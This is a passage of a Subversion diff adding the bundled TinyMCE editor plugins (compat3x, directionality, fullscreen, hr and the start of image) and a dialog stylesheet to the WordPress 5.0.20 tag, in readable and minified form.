+#image .panel_wrapper, #image div.current {height:200px;}
+#plugintable thead {font-weight:bold; background:#DDD;}
+#plugintable, #about #plugintable td {border:1px solid #919B9C;}
+#plugintable {width:96%; margin-top:10px;}
+#pluginscontainer {height:290px; overflow:auto;}
+#colorpicker #preview {display:inline-block; padding-left:40px; height:14px; border:1px solid black; margin-left:5px; margin-right: 5px}
+#colorpicker #previewblock {position: relative; top: -3px; padding-left:5px; padding-top: 0px; display:inline}
+#colorpicker #preview_wrapper {text-align:center; padding-top:4px; white-space: nowrap; float: right;}
+#colorpicker #insert, #colorpicker #cancel {width: 90px}
+#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;}
+#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;}
+#colorpicker #light div {overflow:hidden;}
+#colorpicker .panel_wrapper div.current {height:175px;}
+#colorpicker #namedcolors {width:150px;}
+#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;}
+#colorpicker #colornamecontainer {margin-top:5px;}
+#colorpicker #picker_panel fieldset {margin:auto;width:325px;}
+
+
+/* Localization */
+
+body[dir="rtl"],
+body[dir="rtl"] fieldset,
+body[dir="rtl"] input, body[dir="rtl"] select, body[dir="rtl"]  textarea,
+body[dir="rtl"]  #charmap #codeN,
+body[dir="rtl"] .tabs a {
+	font-family: Tahoma, sans-serif;
+}
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/compat3x/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/compat3x/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/compat3x/plugin.js	(revision 56912)
@@ -0,0 +1,322 @@
+/**
+ * plugin.js
+ *
+ * Released under LGPL License.
+ * Copyright (c) 1999-2017 Ephox Corp. All rights reserved
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*global tinymce:true, console:true */
+/*eslint no-console:0, new-cap:0 */
+
+/**
+ * This plugin adds missing events form the 4.x API back. Not every event is
+ * properly supported but most things should work.
+ *
+ * Unsupported things:
+ *  - No editor.onEvent
+ *  - Can't cancel execCommands with beforeExecCommand
+ */
+(function (tinymce) {
+  var reported;
+
+  function noop() {
+  }
+
+  function log(apiCall) {
+    if (!reported && window && window.console) {
+      reported = true;
+      console.log("Deprecated TinyMCE API call: " + apiCall);
+    }
+  }
+
+  function Dispatcher(target, newEventName, argsMap, defaultScope) {
+    target = target || this;
+    var cbs = [];
+
+    if (!newEventName) {
+      this.add = this.addToTop = this.remove = this.dispatch = noop;
+      return;
+    }
+
+    this.add = function (callback, scope, prepend) {
+      log('<target>.on' + newEventName + ".add(..)");
+
+      // Convert callback({arg1:x, arg2:x}) -> callback(arg1, arg2)
+      function patchedEventCallback(e) {
+        var callbackArgs = [];
+
+        if (typeof argsMap == "string") {
+          argsMap = argsMap.split(" ");
+        }
+
+        if (argsMap && typeof argsMap !== "function") {
+          for (var i = 0; i < argsMap.length; i++) {
+            callbackArgs.push(e[argsMap[i]]);
+          }
+        }
+
+        if (typeof argsMap == "function") {
+          callbackArgs = argsMap(newEventName, e, target);
+          if (!callbackArgs) {
+            return;
+          }
+        }
+
+        if (!argsMap) {
+          callbackArgs = [e];
+        }
+
+        callbackArgs.unshift(defaultScope || target);
+
+        if (callback.apply(scope || defaultScope || target, callbackArgs) === false) {
+          e.stopImmediatePropagation();
+        }
+      }
+
+      target.on(newEventName, patchedEventCallback, prepend);
+
+      var handlers = {
+        original: callback,
+        patched: patchedEventCallback
+      };
+
+      cbs.push(handlers);
+      return patchedEventCallback;
+    };
+
+    this.addToTop = function (callback, scope) {
+      this.add(callback, scope, true);
+    };
+
+    this.remove = function (callback) {
+      cbs.forEach(function (item, i) {
+        if (item.original === callback) {
+          cbs.splice(i, 1);
+          return target.off(newEventName, item.patched);
+        }
+      });
+
+      return target.off(newEventName, callback);
+    };
+
+    this.dispatch = function () {
+      target.fire(newEventName);
+      return true;
+    };
+  }
+
+  tinymce.util.Dispatcher = Dispatcher;
+  tinymce.onBeforeUnload = new Dispatcher(tinymce, "BeforeUnload");
+  tinymce.onAddEditor = new Dispatcher(tinymce, "AddEditor", "editor");
+  tinymce.onRemoveEditor = new Dispatcher(tinymce, "RemoveEditor", "editor");
+
+  tinymce.util.Cookie = {
+    get: noop, getHash: noop, remove: noop, set: noop, setHash: noop
+  };
+
+  function patchEditor(editor) {
+
+    function translate(str) {
+      var prefix = editor.settings.language || "en";
+      var prefixedStr = [prefix, str].join('.');
+      var translatedStr = tinymce.i18n.translate(prefixedStr);
+
+      return prefixedStr !== translatedStr ? translatedStr : tinymce.i18n.translate(str);
+    }
+
+    function patchEditorEvents(oldEventNames, argsMap) {
+      tinymce.each(oldEventNames.split(" "), function (oldName) {
+        editor["on" + oldName] = new Dispatcher(editor, oldName, argsMap);
+      });
+    }
+
+    function convertUndoEventArgs(type, event, target) {
+      return [
+        event.level,
+        target
+      ];
+    }
+
+    function filterSelectionEvents(needsSelection) {
+      return function (type, e) {
+        if ((!e.selection && !needsSelection) || e.selection == needsSelection) {
+          return [e];
+        }
+      };
+    }
+
+    if (editor.controlManager) {
+      return;
+    }
+
+    function cmNoop() {
+      var obj = {}, methods = 'add addMenu addSeparator collapse createMenu destroy displayColor expand focus ' +
+        'getLength hasMenus hideMenu isActive isCollapsed isDisabled isRendered isSelected mark ' +
+        'postRender remove removeAll renderHTML renderMenu renderNode renderTo select selectByIndex ' +
+        'setActive setAriaProperty setColor setDisabled setSelected setState showMenu update';
+
+      log('editor.controlManager.*');
+
+      function _noop() {
+        return cmNoop();
+      }
+
+      tinymce.each(methods.split(' '), function (method) {
+        obj[method] = _noop;
+      });
+
+      return obj;
+    }
+
+    editor.controlManager = {
+      buttons: {},
+
+      setDisabled: function (name, state) {
+        log("controlManager.setDisabled(..)");
+
+        if (this.buttons[name]) {
+          this.buttons[name].disabled(state);
+        }
+      },
+
+      setActive: function (name, state) {
+        log("controlManager.setActive(..)");
+
+        if (this.buttons[name]) {
+          this.buttons[name].active(state);
+        }
+      },
+
+      onAdd: new Dispatcher(),
+      onPostRender: new Dispatcher(),
+
+      add: function (obj) {
+        return obj;
+      },
+      createButton: cmNoop,
+      createColorSplitButton: cmNoop,
+      createControl: cmNoop,
+      createDropMenu: cmNoop,
+      createListBox: cmNoop,
+      createMenuButton: cmNoop,
+      createSeparator: cmNoop,
+      createSplitButton: cmNoop,
+      createToolbar: cmNoop,
+      createToolbarGroup: cmNoop,
+      destroy: noop,
+      get: noop,
+      setControlType: cmNoop
+    };
+
+    patchEditorEvents("PreInit BeforeRenderUI PostRender Load Init Remove Activate Deactivate", "editor");
+    patchEditorEvents("Click MouseUp MouseDown DblClick KeyDown KeyUp KeyPress ContextMenu Paste Submit Reset");
+    patchEditorEvents("BeforeExecCommand ExecCommand", "command ui value args"); // args.terminate not supported
+    patchEditorEvents("PreProcess PostProcess LoadContent SaveContent Change");
+    patchEditorEvents("BeforeSetContent BeforeGetContent SetContent GetContent", filterSelectionEvents(false));
+    patchEditorEvents("SetProgressState", "state time");
+    patchEditorEvents("VisualAid", "element hasVisual");
+    patchEditorEvents("Undo Redo", convertUndoEventArgs);
+
+    patchEditorEvents("NodeChange", function (type, e) {
+      return [
+        editor.controlManager,
+        e.element,
+        editor.selection.isCollapsed(),
+        e
+      ];
+    });
+
+    var originalAddButton = editor.addButton;
+    editor.addButton = function (name, settings) {
+      var originalOnPostRender;
+
+      function patchedPostRender() {
+        editor.controlManager.buttons[name] = this;
+
+        if (originalOnPostRender) {
+          return originalOnPostRender.apply(this, arguments);
+        }
+      }
+
+      for (var key in settings) {
+        if (key.toLowerCase() === "onpostrender") {
+          originalOnPostRender = settings[key];
+          settings.onPostRender = patchedPostRender;
+        }
+      }
+
+      if (!originalOnPostRender) {
+        settings.onPostRender = patchedPostRender;
+      }
+
+      if (settings.title) {
+        settings.title = translate(settings.title);
+      }
+
+      return originalAddButton.call(this, name, settings);
+    };
+
+    editor.on('init', function () {
+      var undoManager = editor.undoManager, selection = editor.selection;
+
+      undoManager.onUndo = new Dispatcher(editor, "Undo", convertUndoEventArgs, null, undoManager);
+      undoManager.onRedo = new Dispatcher(editor, "Redo", convertUndoEventArgs, null, undoManager);
+      undoManager.onBeforeAdd = new Dispatcher(editor, "BeforeAddUndo", null, undoManager);
+      undoManager.onAdd = new Dispatcher(editor, "AddUndo", null, undoManager);
+
+      selection.onBeforeGetContent = new Dispatcher(editor, "BeforeGetContent", filterSelectionEvents(true), selection);
+      selection.onGetContent = new Dispatcher(editor, "GetContent", filterSelectionEvents(true), selection);
+      selection.onBeforeSetContent = new Dispatcher(editor, "BeforeSetContent", filterSelectionEvents(true), selection);
+      selection.onSetContent = new Dispatcher(editor, "SetContent", filterSelectionEvents(true), selection);
+    });
+
+    editor.on('BeforeRenderUI', function () {
+      var windowManager = editor.windowManager;
+
+      windowManager.onOpen = new Dispatcher();
+      windowManager.onClose = new Dispatcher();
+      windowManager.createInstance = function (className, a, b, c, d, e) {
+        log("windowManager.createInstance(..)");
+
+        var constr = tinymce.resolve(className);
+        return new constr(a, b, c, d, e);
+      };
+    });
+  }
+
+  tinymce.on('SetupEditor', function (e) {
+    patchEditor(e.editor);
+  });
+
+  tinymce.PluginManager.add("compat3x", patchEditor);
+
+  tinymce.addI18n = function (prefix, o) {
+    var I18n = tinymce.util.I18n, each = tinymce.each;
+
+    if (typeof prefix == "string" && prefix.indexOf('.') === -1) {
+      I18n.add(prefix, o);
+      return;
+    }
+
+    if (!tinymce.is(prefix, 'string')) {
+      each(prefix, function (o, lc) {
+        each(o, function (o, g) {
+          each(o, function (o, k) {
+            if (g === 'common') {
+              I18n.data[lc + '.' + k] = o;
+            } else {
+              I18n.data[lc + '.' + g + '.' + k] = o;
+            }
+          });
+        });
+      });
+    } else {
+      each(o, function (o, k) {
+        I18n.data[prefix + '.' + k] = o;
+      });
+    }
+  };
+})(tinymce);
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/compat3x/plugin.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/compat3x/plugin.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/compat3x/plugin.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(u){var t;function l(){}function f(e){!t&&window&&window.console&&(t=!0,console.log("Deprecated TinyMCE API call: "+e))}function i(i,a,d,s){i=i||this;var c=[];a?(this.add=function(o,r,e){function t(e){var t=[];if("string"==typeof d&&(d=d.split(" ")),d&&"function"!=typeof d)for(var n=0;n<d.length;n++)t.push(e[d[n]]);("function"!=typeof d||(t=d(a,e,i)))&&(d||(t=[e]),t.unshift(s||i),!1===o.apply(r||s||i,t)&&e.stopImmediatePropagation())}f("<target>.on"+a+".add(..)"),i.on(a,t,e);var n={original:o,patched:t};return c.push(n),t},this.addToTop=function(e,t){this.add(e,t,!0)},this.remove=function(n){return c.forEach(function(e,t){if(e.original===n)return c.splice(t,1),i.off(a,e.patched)}),i.off(a,n)},this.dispatch=function(){return i.fire(a),!0}):this.add=this.addToTop=this.remove=this.dispatch=l}function n(s){function e(e,t){u.each(e.split(" "),function(e){s["on"+e]=new i(s,e,t)})}function n(e,t,n){return[t.level,n]}function o(n){return function(e,t){if(!t.selection&&!n||t.selection==n)return[t]}}if(!s.controlManager){s.controlManager={buttons:{},setDisabled:function(e,t){f("controlManager.setDisabled(..)"),this.buttons[e]&&this.buttons[e].disabled(t)},setActive:function(e,t){f("controlManager.setActive(..)"),this.buttons[e]&&this.buttons[e].active(t)},onAdd:new i,onPostRender:new i,add:function(e){return e},createButton:r,createColorSplitButton:r,createControl:r,createDropMenu:r,createListBox:r,createMenuButton:r,createSeparator:r,createSplitButton:r,createToolbar:r,createToolbarGroup:r,destroy:l,get:l,setControlType:r},e("PreInit BeforeRenderUI PostRender Load Init Remove Activate Deactivate","editor"),e("Click MouseUp MouseDown DblClick KeyDown KeyUp KeyPress ContextMenu Paste Submit Reset"),e("BeforeExecCommand ExecCommand","command ui value args"),e("PreProcess PostProcess LoadContent SaveContent Change"),e("BeforeSetContent BeforeGetContent SetContent GetContent",o(!1)),e("SetProgressState","state time"),e("VisualAid","element hasVisual"),e("Undo Redo",n),e("NodeChange",function(e,t){return[s.controlManager,t.element,s.selection.isCollapsed(),t]});var c=s.addButton;s.addButton=function(e,t){var n,o,r,i;function a(){if(s.controlManager.buttons[e]=this,n)return n.apply(this,arguments)}for(var d in t)"onpostrender"===d.toLowerCase()&&(n=t[d],t.onPostRender=a);return n||(t.onPostRender=a),t.title&&(t.title=(o=t.title,r=[s.settings.language||"en",o].join("."),i=u.i18n.translate(r),r!==i?i:u.i18n.translate(o))),c.call(this,e,t)},s.on("init",function(){var e=s.undoManager,t=s.selection;e.onUndo=new i(s,"Undo",n,null,e),e.onRedo=new i(s,"Redo",n,null,e),e.onBeforeAdd=new i(s,"BeforeAddUndo",null,e),e.onAdd=new i(s,"AddUndo",null,e),t.onBeforeGetContent=new i(s,"BeforeGetContent",o(!0),t),t.onGetContent=new i(s,"GetContent",o(!0),t),t.onBeforeSetContent=new i(s,"BeforeSetContent",o(!0),t),t.onSetContent=new i(s,"SetContent",o(!0),t)}),s.on("BeforeRenderUI",function(){var e=s.windowManager;e.onOpen=new i,e.onClose=new i,e.createInstance=function(e,t,n,o,r,i){return f("windowManager.createInstance(..)"),new(u.resolve(e))(t,n,o,r,i)}})}function r(){var t={};function n(){return r()}return f("editor.controlManager.*"),u.each("add addMenu addSeparator collapse createMenu destroy displayColor expand focus getLength hasMenus hideMenu isActive isCollapsed isDisabled isRendered isSelected mark postRender remove removeAll renderHTML renderMenu renderNode renderTo select selectByIndex setActive setAriaProperty setColor setDisabled setSelected setState showMenu update".split(" "),function(e){t[e]=n}),t}}u.util.Dispatcher=i,u.onBeforeUnload=new i(u,"BeforeUnload"),u.onAddEditor=new i(u,"AddEditor","editor"),u.onRemoveEditor=new i(u,"RemoveEditor","editor"),u.util.Cookie={get:l,getHash:l,remove:l,set:l,setHash:l},u.on("SetupEditor",function(e){n(e.editor)}),u.PluginManager.add("compat3x",n),u.addI18n=function(n,e){var r=u.util.I18n,t=u.each;"string"!=typeof n||-1!==n.indexOf(".")?u.is(n,"string")?t(e,function(e,t){r.data[n+"."+t]=e}):t(n,function(e,o){t(e,function(e,n){t(e,function(e,t){"common"===n?r.data[o+"."+t]=e:r.data[o+"."+n+"."+t]=e})})}):r.add(n,e)}}(tinymce);
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/directionality/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/directionality/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/directionality/plugin.js	(revision 56912)
@@ -0,0 +1,66 @@
+(function () {
+var directionality = (function () {
+  'use strict';
+
+  var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
+
+  var global$1 = tinymce.util.Tools.resolve('tinymce.util.Tools');
+
+  var setDir = function (editor, dir) {
+    var dom = editor.dom;
+    var curDir;
+    var blocks = editor.selection.getSelectedBlocks();
+    if (blocks.length) {
+      curDir = dom.getAttrib(blocks[0], 'dir');
+      global$1.each(blocks, function (block) {
+        if (!dom.getParent(block.parentNode, '*[dir="' + dir + '"]', dom.getRoot())) {
+          dom.setAttrib(block, 'dir', curDir !== dir ? dir : null);
+        }
+      });
+      editor.nodeChanged();
+    }
+  };
+  var $_fd54yfb4jjgwebo5 = { setDir: setDir };
+
+  var register = function (editor) {
+    editor.addCommand('mceDirectionLTR', function () {
+      $_fd54yfb4jjgwebo5.setDir(editor, 'ltr');
+    });
+    editor.addCommand('mceDirectionRTL', function () {
+      $_fd54yfb4jjgwebo5.setDir(editor, 'rtl');
+    });
+  };
+  var $_cpb3fob3jjgwebo4 = { register: register };
+
+  var generateSelector = function (dir) {
+    var selector = [];
+    global$1.each('h1 h2 h3 h4 h5 h6 div p'.split(' '), function (name) {
+      selector.push(name + '[dir=' + dir + ']');
+    });
+    return selector.join(',');
+  };
+  var register$1 = function (editor) {
+    editor.addButton('ltr', {
+      title: 'Left to right',
+      cmd: 'mceDirectionLTR',
+      stateSelector: generateSelector('ltr')
+    });
+    editor.addButton('rtl', {
+      title: 'Right to left',
+      cmd: 'mceDirectionRTL',
+      stateSelector: generateSelector('rtl')
+    });
+  };
+  var $_8ch9fzb6jjgwebo7 = { register: register$1 };
+
+  global.add('directionality', function (editor) {
+    $_cpb3fob3jjgwebo4.register(editor);
+    $_8ch9fzb6jjgwebo7.register(editor);
+  });
+  function Plugin () {
+  }
+
+  return Plugin;
+
+}());
+})();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/directionality/plugin.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/directionality/plugin.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/directionality/plugin.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(){"use strict";var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),c=tinymce.util.Tools.resolve("tinymce.util.Tools"),e=function(t,e){var i,n=t.dom,o=t.selection.getSelectedBlocks();o.length&&(i=n.getAttrib(o[0],"dir"),c.each(o,function(t){n.getParent(t.parentNode,'*[dir="'+e+'"]',n.getRoot())||n.setAttrib(t,"dir",i!==e?e:null)}),t.nodeChanged())},i=function(t){t.addCommand("mceDirectionLTR",function(){e(t,"ltr")}),t.addCommand("mceDirectionRTL",function(){e(t,"rtl")})},n=function(e){var i=[];return c.each("h1 h2 h3 h4 h5 h6 div p".split(" "),function(t){i.push(t+"[dir="+e+"]")}),i.join(",")},o=function(t){t.addButton("ltr",{title:"Left to right",cmd:"mceDirectionLTR",stateSelector:n("ltr")}),t.addButton("rtl",{title:"Right to left",cmd:"mceDirectionRTL",stateSelector:n("rtl")})};t.add("directionality",function(t){i(t),o(t)})}();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/fullscreen/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/fullscreen/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/fullscreen/plugin.js	(revision 56912)
@@ -0,0 +1,177 @@
+(function () {
+var fullscreen = (function () {
+  'use strict';
+
+  var Cell = function (initial) {
+    var value = initial;
+    var get = function () {
+      return value;
+    };
+    var set = function (v) {
+      value = v;
+    };
+    var clone = function () {
+      return Cell(get());
+    };
+    return {
+      get: get,
+      set: set,
+      clone: clone
+    };
+  };
+
+  var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
+
+  var get = function (fullscreenState) {
+    return {
+      isFullscreen: function () {
+        return fullscreenState.get() !== null;
+      }
+    };
+  };
+  var $_6qfcwucejjgwebu0 = { get: get };
+
+  var global$1 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');
+
+  var fireFullscreenStateChanged = function (editor, state) {
+    editor.fire('FullscreenStateChanged', { state: state });
+  };
+  var $_en5ltwcijjgwebu6 = { fireFullscreenStateChanged: fireFullscreenStateChanged };
+
+  var DOM = global$1.DOM;
+  var getWindowSize = function () {
+    var w;
+    var h;
+    var win = window;
+    var doc = document;
+    var body = doc.body;
+    if (body.offsetWidth) {
+      w = body.offsetWidth;
+      h = body.offsetHeight;
+    }
+    if (win.innerWidth && win.innerHeight) {
+      w = win.innerWidth;
+      h = win.innerHeight;
+    }
+    return {
+      w: w,
+      h: h
+    };
+  };
+  var getScrollPos = function () {
+    var vp = DOM.getViewPort();
+    return {
+      x: vp.x,
+      y: vp.y
+    };
+  };
+  var setScrollPos = function (pos) {
+    window.scrollTo(pos.x, pos.y);
+  };
+  var toggleFullscreen = function (editor, fullscreenState) {
+    var body = document.body;
+    var documentElement = document.documentElement;
+    var editorContainerStyle;
+    var editorContainer, iframe, iframeStyle;
+    var fullscreenInfo = fullscreenState.get();
+    var resize = function () {
+      DOM.setStyle(iframe, 'height', getWindowSize().h - (editorContainer.clientHeight - iframe.clientHeight));
+    };
+    var removeResize = function () {
+      DOM.unbind(window, 'resize', resize);
+    };
+    editorContainer = editor.getContainer();
+    editorContainerStyle = editorContainer.style;
+    iframe = editor.getContentAreaContainer().firstChild;
+    iframeStyle = iframe.style;
+    if (!fullscreenInfo) {
+      var newFullScreenInfo = {
+        scrollPos: getScrollPos(),
+        containerWidth: editorContainerStyle.width,
+        containerHeight: editorContainerStyle.height,
+        iframeWidth: iframeStyle.width,
+        iframeHeight: iframeStyle.height,
+        resizeHandler: resize,
+        removeHandler: removeResize
+      };
+      iframeStyle.width = iframeStyle.height = '100%';
+      editorContainerStyle.width = editorContainerStyle.height = '';
+      DOM.addClass(body, 'mce-fullscreen');
+      DOM.addClass(documentElement, 'mce-fullscreen');
+      DOM.addClass(editorContainer, 'mce-fullscreen');
+      DOM.bind(window, 'resize', resize);
+      editor.on('remove', removeResize);
+      resize();
+      fullscreenState.set(newFullScreenInfo);
+      $_en5ltwcijjgwebu6.fireFullscreenStateChanged(editor, true);
+    } else {
+      iframeStyle.width = fullscreenInfo.iframeWidth;
+      iframeStyle.height = fullscreenInfo.iframeHeight;
+      if (fullscreenInfo.containerWidth) {
+        editorContainerStyle.width = fullscreenInfo.containerWidth;
+      }
+      if (fullscreenInfo.containerHeight) {
+        editorContainerStyle.height = fullscreenInfo.containerHeight;
+      }
+      DOM.removeClass(body, 'mce-fullscreen');
+      DOM.removeClass(documentElement, 'mce-fullscreen');
+      DOM.removeClass(editorContainer, 'mce-fullscreen');
+      setScrollPos(fullscreenInfo.scrollPos);
+      DOM.unbind(window, 'resize', fullscreenInfo.resizeHandler);
+      editor.off('remove', fullscreenInfo.removeHandler);
+      fullscreenState.set(null);
+      $_en5ltwcijjgwebu6.fireFullscreenStateChanged(editor, false);
+    }
+  };
+  var $_dvg07kcgjjgwebu3 = { toggleFullscreen: toggleFullscreen };
+
+  var register = function (editor, fullscreenState) {
+    editor.addCommand('mceFullScreen', function () {
+      $_dvg07kcgjjgwebu3.toggleFullscreen(editor, fullscreenState);
+    });
+  };
+  var $_bebdcrcfjjgwebu1 = { register: register };
+
+  var postRender = function (editor) {
+    return function (e) {
+      var ctrl = e.control;
+      editor.on('FullscreenStateChanged', function (e) {
+        ctrl.active(e.state);
+      });
+    };
+  };
+  var register$1 = function (editor) {
+    editor.addMenuItem('fullscreen', {
+      text: 'Fullscreen',
+      shortcut: 'Ctrl+Shift+F',
+      selectable: true,
+      cmd: 'mceFullScreen',
+      onPostRender: postRender(editor),
+      context: 'view'
+    });
+    editor.addButton('fullscreen', {
+      active: false,
+      tooltip: 'Fullscreen',
+      cmd: 'mceFullScreen',
+      onPostRender: postRender(editor)
+    });
+  };
+  var $_tne4sckjjgwebuo = { register: register$1 };
+
+  global.add('fullscreen', function (editor) {
+    var fullscreenState = Cell(null);
+    if (editor.settings.inline) {
+      return $_6qfcwucejjgwebu0.get(fullscreenState);
+    }
+    $_bebdcrcfjjgwebu1.register(editor, fullscreenState);
+    $_tne4sckjjgwebuo.register(editor);
+    editor.addShortcut('Ctrl+Shift+F', '', 'mceFullScreen');
+    return $_6qfcwucejjgwebu0.get(fullscreenState);
+  });
+  function Plugin () {
+  }
+
+  return Plugin;
+
+}());
+})();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/fullscreen/plugin.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/fullscreen/plugin.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/fullscreen/plugin.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(){"use strict";var i=function(e){var n=e,t=function(){return n};return{get:t,set:function(e){n=e},clone:function(){return i(t())}}},e=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=function(e){return{isFullscreen:function(){return null!==e.get()}}},n=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),m=function(e,n){e.fire("FullscreenStateChanged",{state:n})},g=n.DOM,r=function(e,n){var t,r,l,i,o,c,s=document.body,u=document.documentElement,d=n.get(),a=function(){var e,n,t,i;g.setStyle(l,"height",(t=window,i=document.body,i.offsetWidth&&(e=i.offsetWidth,n=i.offsetHeight),t.innerWidth&&t.innerHeight&&(e=t.innerWidth,n=t.innerHeight),{w:e,h:n}).h-(r.clientHeight-l.clientHeight))},h=function(){g.unbind(window,"resize",a)};if(t=(r=e.getContainer()).style,i=(l=e.getContentAreaContainer().firstChild).style,d)i.width=d.iframeWidth,i.height=d.iframeHeight,d.containerWidth&&(t.width=d.containerWidth),d.containerHeight&&(t.height=d.containerHeight),g.removeClass(s,"mce-fullscreen"),g.removeClass(u,"mce-fullscreen"),g.removeClass(r,"mce-fullscreen"),o=d.scrollPos,window.scrollTo(o.x,o.y),g.unbind(window,"resize",d.resizeHandler),e.off("remove",d.removeHandler),n.set(null),m(e,!1);else{var f={scrollPos:(c=g.getViewPort(),{x:c.x,y:c.y}),containerWidth:t.width,containerHeight:t.height,iframeWidth:i.width,iframeHeight:i.height,resizeHandler:a,removeHandler:h};i.width=i.height="100%",t.width=t.height="",g.addClass(s,"mce-fullscreen"),g.addClass(u,"mce-fullscreen"),g.addClass(r,"mce-fullscreen"),g.bind(window,"resize",a),e.on("remove",h),a(),n.set(f),m(e,!0)}},l=function(e,n){e.addCommand("mceFullScreen",function(){r(e,n)})},o=function(t){return function(e){var n=e.control;t.on("FullscreenStateChanged",function(e){n.active(e.state)})}},c=function(e){e.addMenuItem("fullscreen",{text:"Fullscreen",shortcut:"Ctrl+Shift+F",selectable:!0,cmd:"mceFullScreen",onPostRender:o(e),context:"view"}),e.addButton("fullscreen",{active:!1,tooltip:"Fullscreen",cmd:"mceFullScreen",onPostRender:o(e)})};e.add("fullscreen",function(e){var n=i(null);return e.settings.inline||(l(e,n),c(e),e.addShortcut("Ctrl+Shift+F","","mceFullScreen")),t(n)})}();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/hr/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/hr/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/hr/plugin.js	(revision 56912)
@@ -0,0 +1,39 @@
+(function () {
+var hr = (function () {
+  'use strict';
+
+  var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
+
+  var register = function (editor) {
+    editor.addCommand('InsertHorizontalRule', function () {
+      editor.execCommand('mceInsertContent', false, '<hr />');
+    });
+  };
+  var $_cqh592cnjjgwebvk = { register: register };
+
+  var register$1 = function (editor) {
+    editor.addButton('hr', {
+      icon: 'hr',
+      tooltip: 'Horizontal line',
+      cmd: 'InsertHorizontalRule'
+    });
+    editor.addMenuItem('hr', {
+      icon: 'hr',
+      text: 'Horizontal line',
+      cmd: 'InsertHorizontalRule',
+      context: 'insert'
+    });
+  };
+  var $_13g834cojjgwebvl = { register: register$1 };
+
+  global.add('hr', function (editor) {
+    $_cqh592cnjjgwebvk.register(editor);
+    $_13g834cojjgwebvl.register(editor);
+  });
+  function Plugin () {
+  }
+
+  return Plugin;
+
+}());
+})();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/hr/plugin.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/hr/plugin.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/hr/plugin.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(){"use strict";var n=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=function(n){n.addCommand("InsertHorizontalRule",function(){n.execCommand("mceInsertContent",!1,"<hr />")})},o=function(n){n.addButton("hr",{icon:"hr",tooltip:"Horizontal line",cmd:"InsertHorizontalRule"}),n.addMenuItem("hr",{icon:"hr",text:"Horizontal line",cmd:"InsertHorizontalRule",context:"insert"})};n.add("hr",function(n){t(n),o(n)})}();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/image/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/image/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/image/plugin.js	(revision 56912)
@@ -0,0 +1,1211 @@
+(function () {
+var image = (function () {
+  'use strict';
+
+  var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
+
+  var hasDimensions = function (editor) {
+    return editor.settings.image_dimensions === false ? false : true;
+  };
+  var hasAdvTab = function (editor) {
+    return editor.settings.image_advtab === true ? true : false;
+  };
+  var getPrependUrl = function (editor) {
+    return editor.getParam('image_prepend_url', '');
+  };
+  var getClassList = function (editor) {
+    return editor.getParam('image_class_list');
+  };
+  var hasDescription = function (editor) {
+    return editor.settings.image_description === false ? false : true;
+  };
+  var hasImageTitle = function (editor) {
+    return editor.settings.image_title === true ? true : false;
+  };
+  var hasImageCaption = function (editor) {
+    return editor.settings.image_caption === true ? true : false;
+  };
+  var getImageList = function (editor) {
+    return editor.getParam('image_list', false);
+  };
+  var hasUploadUrl = function (editor) {
+    return editor.getParam('images_upload_url', false);
+  };
+  var hasUploadHandler = function (editor) {
+    return editor.getParam('images_upload_handler', false);
+  };
+  var getUploadUrl = function (editor) {
+    return editor.getParam('images_upload_url');
+  };
+  var getUploadHandler = function (editor) {
+    return editor.getParam('images_upload_handler');
+  };
+  var getUploadBasePath = function (editor) {
+    return editor.getParam('images_upload_base_path');
+  };
+  var getUploadCredentials = function (editor) {
+    return editor.getParam('images_upload_credentials');
+  };
+  var $_1dn8wtctjjgwebvz = {
+    hasDimensions: hasDimensions,
+    hasAdvTab: hasAdvTab,
